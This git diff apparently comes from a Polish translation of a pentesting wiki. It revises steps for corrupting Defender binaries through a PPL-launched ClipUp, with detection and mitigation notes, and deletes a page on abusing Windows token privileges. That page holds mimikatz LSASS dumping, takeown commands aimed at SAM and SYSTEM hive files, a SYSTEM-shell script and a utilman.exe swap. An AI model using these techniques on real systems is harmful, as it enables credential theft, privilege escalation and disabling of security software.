3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
|
||||
4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
|
||||
1) Uruchom PPL-capable LOLBIN (ClipUp) z `CREATE_PROTECTED_PROCESS` używając launchera (np. CreateProcessAsPPL).
|
||||
2) Przekaż argument ścieżki logu ClipUp, aby wymusić utworzenie pliku w chronionym katalogu AV (np. Defender Platform). Użyj krótkich nazw 8.3, jeśli potrzeba.
|
||||
3) Jeśli docelowy binarny plik jest zwykle otwarty/zablokowany przez AV podczas działania (np. MsMpEng.exe), zaplanuj zapis podczas bootowania przed uruchomieniem AV instalując usługę auto-start, która niezawodnie uruchamia się wcześniej. Zweryfikuj kolejność rozruchu za pomocą Process Monitor (boot logging).
|
||||
4) Po restarcie zapis z poparciem PPL następuje zanim AV zablokuje swoje binaria, co powoduje uszkodzenie pliku docelowego i uniemożliwia uruchomienie.
|
||||
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
@ -818,21 +816,21 @@ Example invocation (paths redacted/shortened for safety):
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
Uwagi i ograniczenia
|
||||
- Nie możesz kontrolować treści, które zapisuje ClipUp poza miejscem zapisu; ten prymityw nadaje się do korumpowania plików, a nie do precyzyjnego wstrzykiwania zawartości.
|
||||
- Wymaga lokalnego administratora/SYSTEM do zainstalowania/uruchomienia usługi oraz okna na restart.
|
||||
- Czasowanie jest krytyczne: cel nie może być otwarty; wykonanie podczas rozruchu unika blokad plików.
|
||||
- Nie można kontrolować zawartości, które ClipUp zapisuje, poza miejscem ich umieszczenia; prymityw nadaje się do korupcji danych, a nie do precyzyjnego wstrzykiwania treści.
|
||||
- Wymaga uprawnień lokalnego admina/SYSTEM do zainstalowania/uruchomienia usługi oraz okna na restart.
|
||||
- Synchronizacja jest krytyczna: cel nie może być otwarty; wykonanie podczas rozruchu systemu unika blokad plików.
|
||||
|
||||
Wykrycia
|
||||
- Tworzenie procesu `ClipUp.exe` z nietypowymi argumentami, zwłaszcza gdy jest potomkiem niestandardowych programów uruchamiających, w okresie rozruchu.
|
||||
- Nowe usługi skonfigurowane do autostartu podejrzanych binarek i konsekwentnie uruchamiające się przed Defender/AV. Zbadaj tworzenie/modyfikację usług przed błędami uruchamiania Defendera.
|
||||
- Tworzenie procesu `ClipUp.exe` z nietypowymi argumentami, zwłaszcza uruchamianego przez niestandardowe launchery, w okolicach rozruchu.
|
||||
- Nowe usługi skonfigurowane do autostartu podejrzanych binarek i konsekwentnie uruchamiające się przed Defender/AV. Zbadaj tworzenie/modyfikację usług przed wystąpieniem błędów uruchamiania Defendera.
|
||||
- Monitorowanie integralności plików w katalogach binarek/Platform Defendera; nieoczekiwane tworzenie/modyfikacje plików przez procesy z flagami protected-process.
|
||||
- Telemetria ETW/EDR: szukaj procesów utworzonych z `CREATE_PROTECTED_PROCESS` oraz anormalnego wykorzystania poziomu PPL przez binarki niebędące AV.
|
||||
- ETW/EDR telemetry: szukaj procesów utworzonych z `CREATE_PROTECTED_PROCESS` oraz anomalnego użycia poziomów PPL przez binarki niebędące AV.
|
||||
|
||||
Środki zaradcze
|
||||
- WDAC/Code Integrity: ogranicz, które podpisane binarki mogą działać jako PPL i pod jakimi procesami macierzystymi; blokuj wywołania ClipUp poza legalnymi kontekstami.
|
||||
- Higiena usług: ogranicz tworzenie/modyfikację usług autostartu i monitoruj manipulacje kolejnością uruchamiania.
|
||||
- Upewnij się, że Defender tamper protection i early-launch protections są włączone; zbadaj błędy startu wskazujące na korupcję binarek.
|
||||
- Rozważ wyłączenie generowania krótkich nazw 8.3 na woluminach hostujących narzędzia zabezpieczające, jeśli jest to zgodne z Twoim środowiskiem (testuj dokładnie).
|
||||
- WDAC/Code Integrity: ogranicz, które podpisane binarki mogą działać jako PPL i pod jakimi rodzicami; zablokuj wywołania ClipUp poza legalnymi kontekstami.
|
||||
- Higiena usług: ogranicz tworzenie/modyfikację usług autostartu i monitoruj manipulacje kolejnością startu.
|
||||
- Upewnij się, że Defender tamper protection i zabezpieczenia wczesnego uruchamiania są włączone; zbadaj błędy startu wskazujące na korupcję binarek.
|
||||
- Rozważ wyłączenie generowania nazw 8.3 na woluminach hostujących narzędzia zabezpieczające, jeśli jest to zgodne z twoim środowiskiem (dokładnie przetestuj).
|
||||
|
||||
References for PPL and tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
|
||||
@ -1,180 +0,0 @@
|
||||
# Abusing Tokens
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokens
|
||||
|
||||
Jeśli **nie wiesz, czym są Windows Access Tokens**, przeczytaj tę stronę przed kontynuowaniem:
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**Możesz być w stanie podnieść uprawnienia, nadużywając tokenów, które już posiadasz**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
To uprawnienie, które posiada każdy proces, pozwala na impersonację (ale nie tworzenie) dowolnego tokena, pod warunkiem, że można uzyskać do niego uchwyt. Uprawniony token można uzyskać z usługi Windows (DCOM), skłaniając ją do przeprowadzenia uwierzytelnienia NTLM przeciwko exploitowi, co następnie umożliwia wykonanie procesu z uprawnieniami SYSTEM. Ta luka może być wykorzystana za pomocą różnych narzędzi, takich jak [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (które wymaga wyłączenia winrm), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) i [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
Jest bardzo podobne do **SeImpersonatePrivilege**, użyje **tej samej metody** do uzyskania uprawnionego tokena.\
|
||||
Następnie to uprawnienie pozwala **przypisać token główny** do nowego/zawieszonego procesu. Z uprawnionym tokenem impersonacyjnym możesz uzyskać token główny (DuplicateTokenEx).\
|
||||
Z tym tokenem możesz stworzyć **nowy proces** za pomocą 'CreateProcessAsUser' lub stworzyć proces zawieszony i **ustawić token** (ogólnie rzecz biorąc, nie możesz modyfikować głównego tokena działającego procesu).
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
Jeśli masz włączony ten token, możesz użyć **KERB_S4U_LOGON**, aby uzyskać **token impersonacyjny** dla dowolnego innego użytkownika bez znajomości poświadczeń, **dodać dowolną grupę** (administratorów) do tokena, ustawić **poziom integralności** tokena na "**medium**" i przypisać ten token do **bieżącego wątku** (SetThreadToken).
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
System jest zmuszony do **przyznania pełnego dostępu do odczytu** do dowolnego pliku (ograniczonego do operacji odczytu) przez to uprawnienie. Jest wykorzystywane do **odczytywania hashy haseł lokalnych kont Administratora** z rejestru, po czym narzędzia takie jak "**psexec**" lub "**wmiexec**" mogą być używane z hashem (technika Pass-the-Hash). Jednak ta technika zawodzi w dwóch warunkach: gdy konto lokalnego administratora jest wyłączone lub gdy obowiązuje polityka, która odbiera prawa administracyjne lokalnym administratorom łączącym się zdalnie.\
|
||||
Możesz **nadużyć tego uprawnienia** za pomocą:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- śledząc **IppSec** w [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
- Lub jak wyjaśniono w sekcji **podnoszenia uprawnień z Backup Operators** w:
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
Uprawnienie do **dostępu do zapisu** do dowolnego pliku systemowego, niezależnie od listy kontroli dostępu (ACL) pliku, jest zapewniane przez to uprawnienie. Otwiera to liczne możliwości eskalacji, w tym możliwość **modyfikacji usług**, przeprowadzania DLL Hijacking oraz ustawiania **debuggerów** za pomocą opcji wykonania pliku obrazu, wśród różnych innych technik.
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
SeCreateTokenPrivilege to potężne uprawnienie, szczególnie przydatne, gdy użytkownik ma możliwość impersonacji tokenów, ale także w przypadku braku SeImpersonatePrivilege. Ta zdolność opiera się na możliwości impersonacji tokena, który reprezentuje tego samego użytkownika i którego poziom integralności nie przekracza poziomu bieżącego procesu.
|
||||
|
||||
**Kluczowe punkty:**
|
||||
|
||||
- **Impersonacja bez SeImpersonatePrivilege:** Możliwe jest wykorzystanie SeCreateTokenPrivilege do EoP poprzez impersonację tokenów w określonych warunkach.
|
||||
- **Warunki dla impersonacji tokenów:** Udana impersonacja wymaga, aby docelowy token należał do tego samego użytkownika i miał poziom integralności, który jest mniejszy lub równy poziomowi integralności procesu próbującego impersonacji.
|
||||
- **Tworzenie i modyfikacja tokenów impersonacyjnych:** Użytkownicy mogą tworzyć token impersonacyjny i wzbogacać go, dodając SID (identyfikator zabezpieczeń) uprawnionej grupy.
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
To uprawnienie pozwala na **ładowanie i odładowywanie sterowników urządzeń** poprzez utworzenie wpisu w rejestrze z określonymi wartościami dla `ImagePath` i `Type`. Ponieważ bezpośredni dostęp do zapisu do `HKLM` (HKEY_LOCAL_MACHINE) jest ograniczony, należy zamiast tego wykorzystać `HKCU` (HKEY_CURRENT_USER). Jednak aby `HKCU` było rozpoznawane przez jądro do konfiguracji sterownika, należy przestrzegać określonej ścieżki.
|
||||
|
||||
Ta ścieżka to `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, gdzie `<RID>` to identyfikator względny bieżącego użytkownika. Wewnątrz `HKCU` należy utworzyć całą tę ścieżkę i ustawić dwie wartości:
|
||||
|
||||
- `ImagePath`, która jest ścieżką do wykonywanego pliku binarnego
|
||||
- `Type`, z wartością `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
|
||||
**Kroki do wykonania:**
|
||||
|
||||
1. Uzyskaj dostęp do `HKCU` zamiast `HKLM` z powodu ograniczonego dostępu do zapisu.
|
||||
2. Utwórz ścieżkę `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` w `HKCU`, gdzie `<RID>` reprezentuje identyfikator względny bieżącego użytkownika.
|
||||
3. Ustaw `ImagePath` na ścieżkę wykonywania pliku binarnego.
|
||||
4. Przypisz `Type` jako `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
Więcej sposobów na nadużycie tego przywileju w [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
||||
|
||||
Jest to podobne do **SeRestorePrivilege**. Jego główną funkcją jest umożliwienie procesowi **przyjęcia własności obiektu**, omijając wymóg wyraźnego dostępu dyskrecjonalnego poprzez przyznanie praw dostępu WRITE_OWNER. Proces polega najpierw na zabezpieczeniu własności zamierzonego klucza rejestru w celu zapisu, a następnie na zmianie DACL, aby umożliwić operacje zapisu.
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
### SeDebugPrivilege
|
||||
|
||||
To uprawnienie pozwala na **debugowanie innych procesów**, w tym na odczyt i zapis w pamięci. Różne strategie wstrzykiwania pamięci, zdolne do omijania większości rozwiązań antywirusowych i zapobiegających włamaniom, mogą być stosowane z tym uprawnieniem.
|
||||
|
||||
#### Zrzut pamięci
|
||||
|
||||
Możesz użyć [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) z [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) lub [SharpDump](https://github.com/GhostPack/SharpDump), aby **złapać pamięć procesu**. W szczególności może to dotyczyć procesu **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, który jest odpowiedzialny za przechowywanie poświadczeń użytkowników po pomyślnym zalogowaniu się użytkownika do systemu.
|
||||
|
||||
Następnie możesz załadować ten zrzut w mimikatz, aby uzyskać hasła:
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
#### RCE
|
||||
|
||||
Jeśli chcesz uzyskać powłokę `NT SYSTEM`, możesz użyć:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
`SeManageVolumePrivilege` to prawo użytkownika w systemie Windows, które pozwala użytkownikom zarządzać woluminami dyskowymi, w tym je tworzyć i usuwać. Chociaż jest przeznaczone dla administratorów, jeśli zostanie przyznane użytkownikom niebędącym administratorami, może być wykorzystane do eskalacji uprawnień.
|
||||
|
||||
Możliwe jest wykorzystanie tego przywileju do manipulacji woluminami, co prowadzi do pełnego dostępu do woluminów. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) może być użyty do nadania pełnego dostępu wszystkim użytkownikom do C:\
|
||||
|
||||
Dodatkowo, proces opisany w [tym artykule na Medium](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) opisuje wykorzystanie hijackingu DLL w połączeniu z `SeManageVolumePrivilege` do eskalacji uprawnień. Umieszczając ładunek DLL `C:\Windows\System32\wbem\tzres.dll` i wywołując `systeminfo`, dll jest wykonywany.
|
||||
|
||||
## Sprawdź uprawnienia
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
**Tokeny, które pojawiają się jako Wyłączone**, mogą być włączone, możesz faktycznie wykorzystać _Włączone_ i _Wyłączone_ tokeny.
|
||||
|
||||
### Włącz wszystkie tokeny
|
||||
|
||||
Jeśli masz tokeny wyłączone, możesz użyć skryptu [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1), aby włączyć wszystkie tokeny:
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
|
||||
|
||||
## Table
|
||||
|
||||
Pełna ściągawka uprawnień tokenów znajduje się na [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), poniższe podsumowanie wymieni tylko bezpośrednie sposoby na wykorzystanie uprawnienia do uzyskania sesji administratora lub odczytu wrażliwych plików.
|
||||
|
||||
| Privilege | Impact | Tool | Execution path | Remarks |
|
||||
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"Pozwoliłoby to użytkownikowi na podszywanie się pod tokeny i uzyskanie uprawnień do systemu nt za pomocą narzędzi takich jak potato.exe, rottenpotato.exe i juicypotato.exe"_ | Dziękuję [Aurélien Chalot](https://twitter.com/Defte_) za aktualizację. Postaram się wkrótce przeformułować to na coś bardziej przypominającego przepis. |
|
||||
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Odczytaj wrażliwe pliki za pomocą `robocopy /b` | <p>- Może być bardziej interesujące, jeśli możesz odczytać %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (i robocopy) nie są pomocne w przypadku otwartych plików.<br><br>- Robocopy wymaga zarówno SeBackup, jak i SeRestore, aby działać z parametrem /b.</p> |
|
||||
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Utwórz dowolny token, w tym prawa lokalnego administratora za pomocą `NtCreateToken`. | |
|
||||
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplikuj token `lsass.exe`. | Skrypt do znalezienia na [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|
||||
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. Załaduj wadliwy sterownik jądra, taki jak <code>szkg64.sys</code><br>2. Wykorzystaj lukę w sterowniku<br><br>Alternatywnie, uprawnienie może być użyte do odinstalowania sterowników związanych z bezpieczeństwem za pomocą wbudowanego polecenia <code>ftlMC</code>. tzn.: <code>fltMC sysmondrv</code></p> | <p>1. Luka w <code>szkg64</code> jest wymieniona jako <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">kod exploitu</a> został stworzony przez <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
|
||||
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Uruchom PowerShell/ISE z obecnym uprawnieniem SeRestore.<br>2. Włącz uprawnienie za pomocą <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>.<br>3. Zmień nazwę utilman.exe na utilman.old<br>4. Zmień nazwę cmd.exe na utilman.exe<br>5. Zablokuj konsolę i naciśnij Win+U</p> | <p>Atak może być wykryty przez niektóre oprogramowanie AV.</p><p>Alternatywna metoda polega na zastąpieniu binariów usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień.</p> |
|
||||
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Zmień nazwę cmd.exe na utilman.exe<br>4. Zablokuj konsolę i naciśnij Win+U</p> | <p>Atak może być wykryty przez niektóre oprogramowanie AV.</p><p>Alternatywna metoda polega na zastąpieniu binariów usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień.</p> |
|
||||
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>Manipuluj tokenami, aby mieć włączone prawa lokalnego administratora. Może wymagać SeImpersonate.</p><p>Do weryfikacji.</p> | |
|
||||
|
||||
## Reference
|
||||
|
||||
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user